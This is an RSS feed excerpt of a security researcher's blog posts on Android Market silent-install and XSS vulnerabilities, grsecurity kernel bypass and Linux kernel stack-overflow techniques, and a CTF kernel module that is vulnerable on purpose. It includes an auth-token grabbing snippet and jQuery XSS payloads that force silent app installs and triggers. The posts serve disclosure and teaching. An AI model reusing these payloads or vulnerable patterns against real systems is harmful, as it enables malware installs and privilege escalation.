<li>appId is the unique id used to identify an application when it is posted to the Android Market. So in the above example, the user is requesting to download the application with an appId of &#8220;353999319718585473&#8243;. If you post an app to the Market, you can easily find out its assigned appId by sniffing market traffic and extracting the id from the protobuf requests.</li>
<li>authToken is the <a href="http://code.google.com/apis/accounts/docs/AuthForInstalledApps.html" target="_blank">ClientLogin</a> token (with the service name &#8220;android&#8221;) that enables Google&#8217;s Market servers to authenticate your install request. If it wasn&#8217;t for this authToken, we&#8217;d be in a lot of trouble since anyone would be able to spoof install requests and trick Google into pushing apps onto your device.</li>
</ul>
<p>So all is fine and dandy&#8230;if the authToken is kept secret, we have nothing to worry about, right? Enter stage left: the Android AccountManager!</p>
<p><a href="http://developer.android.com/reference/android/accounts/AccountManager.html" target="_blank">AccountManager</a> is a legitimate component of the Android platform that provides some credential management. For example, if you have an app that wants to post a tweet on your behalf, the app doesn&#8217;t need to access your actual Twitter username and password, but can instead request a token from AccountManager that will allow it to post a tweet. As it turns out, the authToken used to communicate with the Market servers is also stored in the AccountManager and can be requested by any app on your phone with just a few lines of code:</p>
<pre class="code">AccountManager accountManager = AccountManager.get(getApplicationContext());
Account acct = getAccount(accountManager);
accountManager.getAuthToken(acct, "android", false, new GetAuthTokenCallback(), null);</pre>
<p>Success, we now have access to the authToken! If we fill in the rest of the fields in that protobuf spec, we could potentially construct a valid install request and POST it to the Market servers, triggering Google to push down a INSTALL_ASSET message to the device, and install any application we desire. And, since the permissions approval happens before this request is sent to the Market servers, we could install an application with <a href="http://developer.android.com/reference/android/Manifest.permission.html" target="_blank">any and all permissions</a> without any prompt being presented to the user.</p>
<h2>When Angry Birds Attack</h2>
<p>So how do Angry Birds tie in to this? To demonstrate this vulnerability, I posted a proof-of-concept app to the Android Market that was able to construct these valid install requests to the Market servers. Essentially, my PoC app was able to impersonate the official Market app and make the same requests it would, but not actually ever prompt the user to install the app or approve the apps permissions.</p>
<p>To spice things up, the PoC app was titled &#8220;Angry Birds Bonus Levels&#8221;, disguising itself as an add-on to the popular <a href="http://www.rovio.com/index.php?page=angry-birds" target="_blank">Angry Birds</a> game. Completely coincidentally, the official Angry Birds developers released a legitimate new set of levels the same exact day I posted my fake app to the Android Market&#8230;I&#8217;m sure that helped the social engineering angle a bit.</p>
<p>So the Angry Birds application acted as the delivery mechanism for three additional applications that I posted to the Android Market: &#8220;Fake Location Tracker&#8221;, &#8220;Fake Toll Fraud&#8221;, and &#8220;Fake Contact Stealer&#8221;. Upon running the fake Angry Birds app, it would forge install requests for those three additional applications to the Market servers. Each of the three apps had the capabilities to perform their stated malicious action, but didn&#8217;t actually do anything harmful. For example, the &#8220;Fake Toll Fraud&#8221; app had permission to make calls and send SMS to premium toll numbers without the user&#8217;s knowledge.</p>
<p><img class="aligncenter size-full wp-image-238" src="http://blog.duosecurity.com/wp-content/uploads/2011/05/angrybird.png" alt="" width="620" height="251" /></p>
<p>As you can see in the screenshot here, the Angry Birds Bonus Levels app triggered the download and installation of the three fake malicious apps.</p>
<p>It&#8217;s worth noting that while my PoC attack used a fake app posted to the market, the attack could launched by compromising an existing application (eg. a browser client-side exploit).</p>
<h2>Wrap-up</h2>
<p>While this bug was patched months ago, I hope these technical details will provide some insight into how exactly this round-about installation process works on the Android platform and prompt others to take a deeper look at the Vending.apk which I guarantee has another solid bug or two in its depths.</p>
<p>The fix that Google rolled out is pretty simple: upon installing an app through the Market, the phone will keep track of that installation request, and verify that any incoming INSTALL_ASSET messages are associated with an app that was requested by the user. If the GTalkService/Vending receives an INSTALL_ASSET message for an application that it&#8217;s not expecting, it will simply discard it.</p>
<p>However, there is one exception, which is the whole reason Google designed this round-about install/removal mechanism in the first place: the new <a href="https://market.android.com/" target="_blank">Android web market</a> (which has some <a href="http://jon.oberheide.org/blog/2011/03/07/how-i-almost-won-pwn2own-via-xss/" target="_blank">serious issues</a> of its own). If you initiate an install request from the web market, the INSTALL_ASSET message will contain a special &#8220;server-initiated&#8221; flag which will make the Vending routines skip their local check to see if the user had requested the app installation.</p>
<p>Until next time&#8230;beware of those Angry Birds! :-P</p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2011/05/28/when-angry-birds-attack-android-edition/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Stackjacking Your Way to grsec/PaX Bypass</title>
		<link>http://jon.oberheide.org/blog/2011/04/20/stackjacking-your-way-to-grsec-pax-bypass/</link>
		<comments>http://jon.oberheide.org/blog/2011/04/20/stackjacking-your-way-to-grsec-pax-bypass/#comments</comments>
		<pubDate>Wed, 20 Apr 2011 06:49:32 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
				<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/?p=832</guid>
		<description><![CDATA[This April at Hackito Ergo Sum in Paris and Immunity&#8217;s Infiltrate in Miami, Dan Rosenberg and I presented on a technique to exploit grsecurity/PaX-hardened Linux kernels.  Read on for a brief overview of our presentation and a link to the full slides and PoC code. The Stackjacking Technique In our slides, we presented a technique [...]]]></description>
				<content:encoded><![CDATA[<p>This April at Hackito Ergo Sum in Paris and Immunity&#8217;s Infiltrate in Miami, <a href="http://vulnfactory.org/">Dan Rosenberg</a> and I presented on a technique to exploit grsecurity/PaX-hardened Linux kernels.  Read on for a brief overview of our presentation and a link to the full slides and PoC code.</p>
<p><span id="more-832"></span></p>
<p style="text-align: center;"><a href="http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf"><br />
<img class="size-full wp-image-836 aligncenter" title="title" src="http://jon.oberheide.org/blog/wp-content/uploads/2011/04/title.png" alt="" width="512" height="384" /><br />
</a></p>
<h2>The Stackjacking Technique</h2>
<p>In our slides, we presented a technique to exploit a grsecurity/PaX-hardened Linux kernel (eg. GRKERNSEC_HIGH) given the existence of two exploitation primitives:</p>
<ul>
<li>an arbitrary kernel write; and</li>
<li>a kernel stack memory disclosure</li>
</ul>
<p>To be clear, this attack vector is completely unnecessary when exploiting a vanilla Linux kernel, since an arbitrary write is more than sufficient to get root, given the vast amount of useful targeting information Linux gives out via /proc, etc.  Likewise, the kernel stack memory disclosure is also unnecessary on vanilla, since there are much easier ways of getting this information.  However, due to GRKERNSEC_HIDESYM (which aims to remove all known sources of info leakage), PAX_KERNEXEC (which makes global data structures with known locations read-only), and other mitigation features of grsecurity/PaX, effective exploitation is orders of magnitude harder than a vanilla kernel and took a few interesting twists.</p>
<p>Our technique can be broken down into three distinct stages:</p>
<ul>
<li><strong>Stack self-discovery: </strong>We observed that kernel stack memory disclosures can leak sensitive addresses to userspace.  In particular, if we can leak a pointer TO the kernel stack that resides ON the kernel stack, we can calculate the base of our own process&#8217; kernel stack: kstack_base = leaked_addr &amp; ~(THREAD_SIZE-1).  We call this technique stack self-discovery.</li>
<li><strong>Stack groping: </strong>If our end goal is to read the address of our process&#8217; cred structure and use our write to modify it and escalate privileges, we need to turn our kleak+kwrite into an arbitrary read.  We discovered two such techniques to do this: (1) the Rosengrope technique that modifies addr_limit in thread_info metadata stored at the base of the kstack to allow arbitrary reads from kernel space to userspace; and (2) the Obergrope technique that manipulates saved registers within a kernel stack frame that are later popped and used as the source address for copy_to_user()/put_user() operations.</li>
<li><strong>Stack jacking: </strong>After constructing our arbitrary read from a kleak+kwrite, we read the task_struct address out of thread_info at the base of the kstack and then read the cred struct address out of task_struct. Armed with the address of our process&#8217; credential structure and an arbitrary write, we modified our uids/gids/caps to escalate privileges.</li>
</ul>
<p>For the full details, please see the presentation materials and PoC code:</p>
<ul>
<li><a href="http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf">Infiltrate 2011 [PDF]</a></li>
<li><a href="http://jon.oberheide.org/files/stackjacking-hes11.pdf">Hackito Ergo Sum 2011 [PDF]</a></li>
<li><a href="https://github.com/jonoberheide/stackjacking">PoC Code [GITHUB]</a></li>
</ul>
<p style="text-align: center;"><a href="http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf"><br />
<img class="aligncenter size-full wp-image-846" title="overview" src="http://jon.oberheide.org/blog/wp-content/uploads/2011/04/overview1.png" alt="" width="513" height="386" /><br />
</a></p>
<h2>The Response</h2>
<p>If you haven&#8217;t yet read <a href="http://forums.grsecurity.net/viewtopic.php?f=7&amp;t=2596">spender&#8217;s response</a> to our presentation, I recommend doing so.  While I&#8217;ll refrain from commenting on the political aspects of his post, I&#8217;ll happily comment on the technical aspects.  The fixes that spender and pipacs have released have mitigated the particular exploit vectors we used to perform the stack groping stage of our attack against the grsec/PaX kernel:</p>
<ul>
<li>The thread_info struct has been moved out from the base of the kernel stack preventing the Rosengrope technique from being able to write KERNEL_DS into the addr_limit member.</li>
<li>The RANDKSTACK feature, now available on both i386 and amd64, frustrates the Obergrope technique as the randomization of the kernel stack pointer on each system call makes writing into a particular offset in the stack frame unreliable.</li>
<li>USERCOPY has been enhanced to protect certain SLUB caches from being read/written to/from with the userspace accessor funtions.  This prevents our groping technique from being able to easily read task_struct contents back out to userspace.  Thanks to pipacs for pointing this out!</li>
</ul>
<p>Props to spender and pipacs for cranking out those fixes as well as a number of other enhancements.  While the latest grsecurity patch effectively prevents the current vectors we discovered and presented in our talks at HES and Infiltrate, there are several loose ends I need to investigate to ensure the fixes address other potential exploitation vectors.</p>
<p>More on that later&#8230;</p>
<p><!-- 0a187a540f832897f78feeb07b918d04ccede7d92962b50185941e16ae3aefd8 --></p>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2011/04/20/stackjacking-your-way-to-grsec-pax-bypass/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How I Almost Won Pwn2Own via XSS</title>
		<link>http://jon.oberheide.org/blog/2011/03/07/how-i-almost-won-pwn2own-via-xss/</link>
		<comments>http://jon.oberheide.org/blog/2011/03/07/how-i-almost-won-pwn2own-via-xss/#comments</comments>
		<pubDate>Mon, 07 Mar 2011 16:26:36 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
				<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/?p=782</guid>
		<description><![CDATA[No, seriously. The good: Google has patched a serious vulnerability I discovered in the Android web market. The bad: Since the Android web market was launched earlier this year, it was possible to remotely install arbitrary applications with arbitrary permissions onto a victim&#8217;s phone simply by tricking them into clicking a malicious link (either on [...]]]></description>
				<content:encoded><![CDATA[<p>No, seriously.</p>
<p><span id="more-782"></span></p>
<p><strong>The good:</strong> Google has patched a serious vulnerability I discovered in the Android web market.</p>
<p><strong>The bad:</strong> Since the Android web market was launched earlier this year, it was possible to remotely install arbitrary applications with arbitrary permissions onto a victim&#8217;s phone simply by tricking them into clicking a malicious link (either on their desktop OR phone).  The exploit works universally across all Android devices, versions, and architectures.</p>
<p><strong>The ugly:</strong> Not anticipating that the vulnerability would qualify for Pwn2Own, I prematurely reported the vulnerability to Google.  Besides the order of magnitude difference in monetary payout ($1337 from Google vs. $15,000 from ZDI), I&#8217;m disappointed since I thought it would be super hilarious to win Pwn2Own with a lame XSS vuln. :-P</p>
<h2>The Vulnerability</h2>
<p>The actual vulnerability was an incredibly low-hanging naive persistent XSS in the <a href="https://market.android.com/">Android web market</a>.  When posting an Android application through the publishing interface, there&#8217;s a description field for you to describe your application:</p>
<p style="text-align: center;"><img class="size-full wp-image-797 aligncenter" title="listing" src="http://jon.oberheide.org/blog/wp-content/uploads/2011/03/listing.png" alt="" width="500" height="176" /></p>
<p>And yes, when that description is output to a user browsing the Android web market via the application details, a search result, your developer page, and a number of other vectors, the XSS payload contained in the description field will be executed within the context of the victim&#8217;s browser:</p>
<p style="text-align: center;"><img class="size-full wp-image-798 aligncenter" title="screen" src="http://jon.oberheide.org/blog/wp-content/uploads/2011/03/screen.png" alt="" width="550" height="154" /></p>
<p><span style="font-size: 20px; font-weight: bold;">The Exploit</span></p>
<p>So how does an XSS result in arbitrary code execution on your mobile device? Well, the Android web market allows you to install new applications directly to your mobile device while browsing the market on your desktop.  For more information on how Google is able to perform this remote install of applications on your device, check out my previous posts on the <a href="http://jon.oberheide.org/blog/2010/06/28/a-peek-inside-the-gtalkservice-connection/">GTalkService</a> and <a href="http://jon.oberheide.org/blog/2010/06/25/remote-kill-and-install-on-google-android/">INSTALL_ASSET functionality</a>.</p>
<p>While being able to browse the Android market via your browser on your desktop and push apps to your device is a great win for user experience, it opens up a dangerous attack vector.  Any XSS vulnerabilities in the web market allow an attacker to force your browser into making a POST request that triggers an app installation to your phone.</p>
<p>Since there is no on-device prompt or confirmation for these INSTALL_ASSET requests pushed to your phone, an attacker can silently trigger an malicious app install simply by tricking a victim into clicking a link while logged in to their Google account on their desktop or on their phone.  The malicious app delivered to the victim&#8217;s phone can use any and all Android permissions, allowing for all sorts of evil behavior.</p>
<p>An app install can be triggered in the XSS payload via a simple AJAX POST to the /install URI, formatted as follows:</p>
<pre>/* silently install malicious app to victim phone */
$.post('/install', {
    id: 'com.attacker.maliciousapp',
    device: initProps['selectedDeviceId'],
    token: initProps['token'],
    xhr: '1' }, function(data) {
});</pre>
<p>Simply installing the app does not result in code execution since apps do not auto-start upon install on Android.  However, we can easily emulate this functionality effectively to auto-start our app and gain code execution.</p>
<p>One way, as <a href="http://thomascannon.net/blog/2011/02/android-lock-screen-bypass/">Thomas mentions on his blog</a>, is to have your installed app register for the PACKAGE_ADDED broadcast intent.  This will trigger your app and allow execution whenever a new app is installed.  Since we still control the users browser via our XSS, we can simply trigger the install of an additional application, which will result in our original malicious app being executed by the phone.</p>
<p>Alternately, if our XSS is taking place within the browser of the mobile device itself (like it would for the Pwn2Own contest, as opposed to occurring in the victim&#8217;s desktop browser), we can simply insert a hidden IFRAME in our XSS payload, continually set the src of the IFRAME to something like &#8220;trigger://blah&#8221;, and then have our installed malicious app register an intent filter on the &#8220;trigger://&#8221; URI scheme:</p>
<pre>/* append hidden iframe */
$('body').append($('&lt;iframe id="xss" width="0" height="0"&gt;'));

/* continually trigger iframe src */
function trigger() {
    $('#xss').attr('src', 'trigger://blah');
    setTimeout('trigger()', 1000);
}
setTimeout('trigger()', 1000);</pre>
<p>This will cause our malicious app to be triggered and gain code execution as soon as it is finished installing.</p>
<h2>The Vuln Reporting Fail</h2>
<p>I had known the Android web market was coming for quite some time due to my investigation of the INSTALL_ASSET functionality and some private confirmation from Google folks, so this attack vector has actually been in my head for the better part of a year.  But when the Android web market was finally launched, I didn&#8217;t get a chance to poke at it for a month or so.  Since I didn&#8217;t hear about any reports of scary XSS, I had mostly assumed that others had already probed this vector or that Google had locked it down.</p>
<p>So it was quite a surprise that, when I finally found some free time, I was able to go from firing up Eclipse to landing trivial XSS in less than an hour.  I immediately reported the issue to Google Security.  Whoopsy daisy.  I blame my lack of critical thinking on three things: (1) I was excited to finally have an Android vuln that qualified for their security bounty (the previous ones were in on-device software which doesn&#8217;t qualify); (2) I didn&#8217;t think it would qualify for Pwn2Own since it would require the user to be logged in to their Google account on the mobile browser (since Pwn2Own doesn&#8217;t take into account &#8220;cross-device&#8221; attacks); and (3) even if it did qualify, it was such low-hanging fruit it probably wouldn&#8217;t survive until the contest.</p>
<p>Turns out, it does qualify for Pwn2Own. So yeah&#8230;I killed my own Pwn2Own bug.</p>
<p>Since Google rolled out the fix a week or so ago, I&#8217;ve been pounding on <a href="http://market.android.com">market.android.com</a> in hopes of exposing another XSS vulnerability that would be eligible for Pwn2Own.  While I&#8217;m no websec wizard, I recruited a handful of folks to help out in the effort who are websec wizards (thanks to those who helped out!).  Unfortunately, Google had significantly tightened things up and we&#8217;ve been unable to expose any additional XSS in time for the Pwn2Own contest at CanSecWest this week.</p>
<p>So while I&#8217;m missing out on a good sum of money by not winning the Pwn2Own contest, Google did award a bounty of $1337 for reporting the vulnerability.  I&#8217;m more disappointed that I won&#8217;t be able to win Pwn2Own with a lame XSS, which would be absolutely hilarious since Pwn2Own usually brings out the most exciting and technical exploits of the year.</p>
<h2>Wrap-up</h2>
<p>There&#8217;s a few take-away lessons from this story:</p>
<ul>
<li>First, the Android web market opens up a serious attack vector by turning any XSS hole into remote on-device code execution.  At the very least, Google needs to add an on-device confirmation prompt for any non-device-initiated app installs (eg. any INSTALL_ASSET messages with the server-initiated flag set).</li>
<li>Second, despite how lame this particular XSS is, there&#8217;s something to be said for these &#8220;cross-device&#8221; vulnerabilities that we&#8217;ll likely see more of in the future as our desktops, mobile devices, TVs, appliances, and &#8220;the cloud&#8221; become even more interconnected.</li>
<li>Lastly, don&#8217;t be stupid with your disclosures. :-)</li>
</ul>
<p>So that&#8217;s it for now.  I have a few more interesting XSS vectors to test but since they require some manual approval/intervention on Google&#8217;s side, it&#8217;s unlikely they&#8217;ll be completed in the next couple days in time for Pwn2Own.  If anyone has any market.android.com XSS in their backpocket, drop me a line. ;-)</p>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2011/03/07/how-i-almost-won-pwn2own-via-xss/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Exploiting Stack Overflows in the Linux Kernel</title>
		<link>http://jon.oberheide.org/blog/2010/11/29/exploiting-stack-overflows-in-the-linux-kernel/</link>
		<comments>http://jon.oberheide.org/blog/2010/11/29/exploiting-stack-overflows-in-the-linux-kernel/#comments</comments>
		<pubDate>Mon, 29 Nov 2010 13:43:53 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
				<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/?p=730</guid>
		<description><![CDATA[In this post, I&#8217;ll introduce an exploitation technique for kernel stack overflows in the Linux kernel.  Keep in mind this does not refer to buffer overflows on the kernel stack (whose exploitability is well understood), but rather the improper expansion of the kernel stack causing it to overlap with critical structures which may be subsequently [...]]]></description>
				<content:encoded><![CDATA[<p>In this post, I&#8217;ll introduce an exploitation technique for kernel stack overflows in the Linux kernel.  Keep in mind this does not refer to buffer overflows on the kernel stack (whose exploitability is well understood), but rather the improper expansion of the kernel stack causing it to overlap with critical structures which may be subsequently corrupted.  This is a vulnerability class in the Linux kernel that I do not believe have been exploited publicly in the past, but is relevant due to a recent vulnerability in the Econet packet family.</p>
<p><span id="more-730"></span></p>
<h2>Kernel Stack Layout</h2>
<p>On Linux, every thread on your system has a corresponding kernel stack allocated in kernel memory.  Linux kernel stacks on x86 are either 4096 or 8192 bytes in size, depending on your distribution. While this size may seem small to contain a full call chain and associated local stack variables, in reality the kernel call chains are relatively shallow and kernel functions are discouraged from abusing the precious space with large local stack variables when efficient allocators such as the SLUB are available.</p>
<p>The stack shares the 4k/8k total size with the thread_info structure, which contains some metadata about the current thread, as seen in include/linux/sched.h:</p>
<pre>union thread_union {
    struct thread_info thread_info;
    unsigned long stack[THREAD_SIZE/sizeof(long)];
};</pre>
<p>The thread_info structure has the following definition on x86 from arch/x86/include/asm/thread_info.h:</p>
<pre>struct thread_info {
    struct task_struct  *task;
    struct exec_domain  *exec_domain;
    __u32                flags;
    __u32                status;
    __u32                cpu;
    int                  preempt_count;
    mm_segment_t         addr_limit;
    struct restart_block restart_block;
    void __user         *sysenter_return;
#ifdef CONFIG_X86_32
    unsigned long        previous_esp;
    __u8                 supervisor_stack[0];
#endif
    int                  uaccess_err;
};</pre>
<p>Visually, a kernel stack looks like the following in memory:</p>
<p style="text-align: center;"><img class="size-full wp-image-765  aligncenter" title="kstack" src="http://jon.oberheide.org/blog/wp-content/uploads/2010/11/kstack.png" alt="" width="458" height="307" /></p>
<p>So what happens when a function in the kernel requires more than 4k/8k worth of stack space or a long call chain exceeds the available stack space?  Well, normally an overflow of the stack will occur and cause the kernel to crash if the thread_info structure or critical memory beyond it becomes corrupted.  However, if the moons align and we have a situation where we can actually control the data that is written to the stack and beyond, we may have an exploitable condition.</p>
<h2>Exploiting a Stack Overflow</h2>
<p>Let&#8217;s look at a simple example to see how overflowing the stack and clobbering the thread_info structure can result in an exploitable privilege escalation:</p>
<pre>static int blah(int __user *vals, int __user count)
{
    int i;
    int big_array[count];
    for (i = 0; i &lt; count; ++count) {
        big_array[i] = vals[i];
    }
}</pre>
<p>In the above code, we have a variable length array on the stack (big_array) whose size is based on an attacker-controlled count.  <a href="http://gcc.gnu.org/onlinedocs/gcc/Variable-Length.html">Variable length arrays</a> are allowed in C99 and supported by GCC.  GCC will simply calculate the necessary size at runtime and decrement the stack pointer appropriately to allocate space on the stack for the array.</p>
<p>However, if the attacker provides a sufficiently large count, the stack may extend down past the boundary of thread_info, allowing the attacker to subsequently write arbitrary values into the thread_info structure.  Extending the stack pointer past the thread_info boundary would look like the following:</p>
<p style="text-align: center;"><img class="size-full wp-image-767  aligncenter" title="kstack-smash" src="http://jon.oberheide.org/blog/wp-content/uploads/2010/11/kstack-smash.png" alt="" width="458" height="307" /></p>
<p>So what is in the thread_info structure that may be useful for an attacker to control? Ideally, we&#8217;d like to find something with a function pointer that we can overwrite and redirect control flow to an address of our choosing.</p>
<p>Let&#8217;s take a deeper look at one promising member of thread_info: restart_block.  restart_block is a per-thread structure used to track information and   arguments for restarting system calls.  System calls that are   interrupted by signals can either abort and return EINTR or   automatically restart themselves if SA_RESTART is specified in sigaction(2).  restart_block is defined as follows in include/linux/thread_info.h:</p>
<pre>struct restart_block {
    long (*fn)(struct restart_block *);
    union {
        struct {
            ...
        };
        /* For futex_wait and futex_wait_requeue_pi */
        struct {
            ...
        } futex;
        /* For nanosleep */
        struct {
            ...
        } nanosleep;
        /* For poll */
        struct {
            ...
        } poll;
    };
};</pre>
<p>Hey, that fn function pointer sure looks promising!  Where in the kernel does that function pointer actually get invoked?  Why, right there in the restart_syscall system call in kernel/signal.c:</p>
<pre>SYSCALL_DEFINE0(restart_syscall)
{
    struct restart_block *restart = &amp;current_thread_info()-&gt;restart_block;
    return restart-&gt;fn(restart);
}</pre>
<p>The restart_syscall system call is defined in arch/x86/kernel/syscall_table_32.S:</p>
<pre>.long sys_restart_syscall   /* 0 - old "setup()" system call, used for restarting */</pre>
<p>That&#8217;s right, there&#8217;s actually system call number zero.  We couldn&#8217;t ask for anything easier! We can trivially invoke its functionality from userspace via:</p>
<pre>syscall(SYS_restart_syscall);</pre>
<p>Thereby causing the kernel to call the function pointer contained in the restart_block structure.</p>
<p>So there we have it: if we can clobber the function pointer in the restart_block member of thread_info, we can point it to a function in userspace under our control, trigger its execution by invoking sys_restart_syscall, and escalate privileges.</p>
<h2>Econet Vulnerability</h2>
<p>As I mentioned previously, I&#8217;m not aware of any exploits that have used such a technique in the past.  And while the simple example above may appear a bit contrived, there is a real-world example of this type of vulnerability recently discovered by Nelson Elhage in the Econet packet family.</p>
<p>In a forthcoming post, I&#8217;ll describe the Econet vulnerability and exploit in further detail.  Until then, patch up!</p>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2010/11/29/exploiting-stack-overflows-in-the-linux-kernel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CSAW CTF 2010 Kernel Exploitation Challenge</title>
		<link>http://jon.oberheide.org/blog/2010/11/02/csaw-ctf-kernel-exploitation-challenge/</link>
		<comments>http://jon.oberheide.org/blog/2010/11/02/csaw-ctf-kernel-exploitation-challenge/#comments</comments>
		<pubDate>Wed, 03 Nov 2010 03:21:34 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
				<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/?p=652</guid>
		<description><![CDATA[The finals for NYU Poly&#8217;s CSAW CTF was this past weekend in New York City.  I thought I would post the kernel exploitation challenge I developed for the final round.  Feel free to try your hand at solving it! The Setup Each team is given unprivileged remote shell access to a Linux VM.  There is [...]]]></description>
				<content:encoded><![CDATA[<p>The finals for NYU Poly&#8217;s <a href="http://www.poly.edu/csaw-CTF">CSAW CTF</a> was this past weekend in New York City.  I thought I would post the kernel exploitation challenge I developed for the final round.  Feel free to try your hand at solving it!</p>
<p><span id="more-652"></span></p>
<h2>The Setup</h2>
<p>Each team is given unprivileged remote shell access to a Linux VM.  There is a vulnerable kernel module (csaw.ko) loaded into memory:</p>
<pre>csaw@csaw ~ $ lsmod
Module                  Size  Used by
csaw                    1111  0</pre>
<p>The kernel module exposes a /proc/csaw interface with which the team can interact with and attempt to exploit the vulnerability contained in the kernel module.  Upon successful exploitation and privilege escalation, the team can retrieve the key/flag hidden in the root-readable /root/key.txt file.</p>
<h2>csaw.c</h2>
<p>The full source code of the csaw.ko kernel module is provided to the team so that they can discover and subsequently exploit the vulnerability.  The csaw.c is reproduced in full as follows (and can be downloaded <a href="http://jon.oberheide.org/files/csaw.c">here</a>):</p>
<pre>/*
 * csaw.c
 * CSAW CTF Challenge Kernel Module
 * Jon Oberheide &lt;jon@oberheide.org&gt;
 *
 * This module implements the /proc/csaw interface which can be read
 * and written like a normal file. For example:
 *
 * $ cat /proc/csaw
 * Welcome to the CSAW CTF challenge. Best of luck!
 * $ echo "Hello World" &gt; /proc/csaw
 */

#include &lt;linux/module.h&gt;
#include &lt;linux/kernel.h&gt;
#include &lt;linux/init.h&gt;
#include &lt;linux/proc_fs.h&gt;
#include &lt;linux/string.h&gt;
#include &lt;asm/uaccess.h&gt;

#define MAX_LENGTH 64

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Jon Oberheide");
MODULE_DESCRIPTION("CSAW CTF Challenge Kernel Module");

static struct proc_dir_entry *csaw_proc;

int
csaw_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
    char buf[MAX_LENGTH];

    printk(KERN_INFO "csaw: called csaw_write\n");

    /*
     * We should be safe to perform this copy from userspace since our
     * kernel is compiled with CC_STACKPROTECTOR, which includes a canary
     * on the kernel stack to protect against smashing the stack.
     *
     * While the user could easily DoS the kernel, I don't think they
     * should be able to escalate privileges without discovering the
     * secret stack canary value.
     */
    if (copy_from_user(&amp;buf, ubuf, count)) {
        printk(KERN_INFO "csaw: error copying data from userspace\n");
        return -EFAULT;
    }

    return count;
}

int
csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
    char buf[MAX_LENGTH];

    printk(KERN_INFO "csaw: called csaw_read\n");

    *eof = 1;
    memset(buf, 0, sizeof(buf));
    strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!\n");
    memcpy(page, buf + off, MAX_LENGTH);

    return MAX_LENGTH;
}

static int __init
csaw_init(void)
{
    printk(KERN_INFO "csaw: loading module\n");

    csaw_proc = create_proc_entry("csaw", 0666, NULL);
    csaw_proc-&gt;read_proc = csaw_read;
    csaw_proc-&gt;write_proc = csaw_write;

    printk(KERN_INFO "csaw: created /proc/csaw entry\n");

    return 0;
}

static void __exit
csaw_exit(void)
{
    if (csaw_proc) {
        remove_proc_entry("csaw", csaw_proc);
    }

    printk(KERN_INFO "csaw: unloading module\n");
}

module_init(csaw_init);
module_exit(csaw_exit);
</pre>
<h2>Spoiler Alert!</h2>
<p>I will provide the solution further down the page, so stop reading right now if you want to try your hand at exploiting the challenge on your own!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
